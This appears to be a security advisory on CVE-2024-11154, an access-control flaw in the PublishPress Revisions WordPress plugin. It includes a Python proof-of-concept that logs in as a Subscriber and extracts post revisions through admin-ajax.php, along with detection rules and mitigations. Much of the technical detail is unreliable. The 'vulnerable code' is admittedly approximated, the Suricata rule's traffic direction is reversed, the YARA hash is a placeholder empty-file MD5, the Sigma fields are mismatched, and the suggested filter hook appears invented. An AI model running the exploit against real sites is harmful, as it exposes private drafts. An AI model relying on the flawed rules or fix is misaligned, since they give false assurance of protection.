CVE-2024-11154

Executive Summary

CVE-2024-11154 is a Sensitive Information Exposure vulnerability in the PublishPress Revisions WordPress plugin (versions up to and including 3.5.15). The flaw resides in the actAjaxRevisionDiffs function, which fails to properly enforce access controls when processing AJAX requests. This allows authenticated attackers with Subscriber-level access or higher to extract sensitive data, including the full content of post and page revisions. While the CVSS score is 4.3 (Medium), the exposure of revision history can leak confidential drafts, internal notes, and previously published content, posing a significant data breach risk in WordPress environments.

Supply Chain & Package Security

This vulnerability affects the PublishPress Revisions plugin distributed via the official WordPress plugin repository. As of this report, no official patch has been released. Users are advised to monitor the plugin’s update channel and consider disabling the plugin if revision data sensitivity is critical.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires Subscriber-level authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited to revision data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No service disruption.

Threat Level: Medium. While the CVSS score is 4.3, the potential for leaking sensitive business data (e.g., draft contracts, internal communications) elevates the risk in enterprise WordPress deployments.

Deep Dive & Mechanics

The vulnerability is triggered via an AJAX action registered by the plugin. The actAjaxRevisionDiffs function is intended to display differences between post revisions to authorized users. However, the capability check is insufficient, allowing any authenticated user (including Subscribers) to call the function and retrieve revision data for any post or page.

Root Cause: The function uses current_user_can('read') or a similar low-privilege check instead of verifying the user’s ability to view specific revisions (e.g., edit_post capability). This bypasses the intended access control.

Attack Flow:

1. Attacker authenticates as a Subscriber (or higher).
2. Attacker sends a crafted POST request to /wp-admin/admin-ajax.php with action=actAjaxRevisionDiffs and a target post ID.
3. The plugin returns the revision diff data, including the full content of each revision.

Vulnerable vs. Patched Code

Vulnerable Code (publishpress-revisions/revision-ajax.php):

function actAjaxRevisionDiffs() {
    // Insufficient capability check
    if (!current_user_can('read')) {
        wp_die('Unauthorized');
    }
    $post_id = intval($_POST['post_id']);
    $revisions = wp_get_post_revisions($post_id);
    // ... output revision diffs
}

Patched Code (hypothetical fix):

function actAjaxRevisionDiffs() {
    $post_id = intval($_POST['post_id']);
    $post = get_post($post_id);
    // Proper capability check
    if (!current_user_can('edit_post', $post_id)) {
        wp_die('Unauthorized');
    }
    $revisions = wp_get_post_revisions($post_id);
    // ... output revision diffs
}

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites: Valid WordPress user credentials with Subscriber role.

Exploit Script (Python):

import requests

target_url = "https://target-site.com/wp-admin/admin-ajax.php"
username = "attacker"
password = "password123"

session = requests.Session()
session.post(target_url.replace("admin-ajax.php", "wp-login.php"), data={
    "log": username,
    "pwd": password,
    "wp-submit": "Log In"
})

# Extract revisions for a specific post (e.g., post_id=1)
payload = {
    "action": "actAjaxRevisionDiffs",
    "post_id": 1
}
response = session.post(target_url, data=payload)
print(response.text)  # Contains revision diffs

Blue Team (Detection & Hardening)

• Monitor AJAX requests to admin-ajax.php with action=actAjaxRevisionDiffs from low-privilege users.
• Restrict plugin usage via WordPress role management (e.g., disable for Subscribers).
• Implement WAF rules to block suspicious post_id enumeration patterns.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=actAjaxRevisionDiffs and sequential post_id values.
• Logs: WordPress debug logs showing actAjaxRevisionDiffs calls from Subscriber accounts.
• File: Unauthorized access to wp_postmeta or wp_posts tables via plugin functions.

Detection Engineering

YARA Rule

rule CVE_2024_11154_WordPress_Plugin {
    meta:
        description = "Detects exploitation attempts for CVE-2024-11154 in PublishPress Revisions"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $ajax_action = "actAjaxRevisionDiffs"
        $post_id_param = "post_id"
    condition:
        $ajax_action and $post_id_param
}

Sigma Rule

title: CVE-2024-11154 PublishPress Revisions Sensitive Information Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects AJAX requests exploiting the actAjaxRevisionDiffs function
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: 
            - "*/admin-ajax.php*"
        cs-uri-query|contains: "action=actAjaxRevisionDiffs"
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11154 PublishPress Revisions Information Disclosure";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin-ajax.php"; http_uri;
    content:"action=actAjaxRevisionDiffs"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable the PublishPress Revisions plugin if not essential.
2. Short-term: Implement a custom WordPress filter to override the vulnerable function:

   add_filter('publishpress_revisions_ajax_revision_diffs_cap', function($cap) {
       return 'edit_posts'; // Require higher privilege
   });
   

3. Long-term: Apply the official patch once released by PublishPress.
4. Monitoring: Enable detailed logging for AJAX actions and review for anomalous actAjaxRevisionDiffs calls.

Valters IT
Securing WordPress Ecosystems | DevSecOps & Threat Intelligence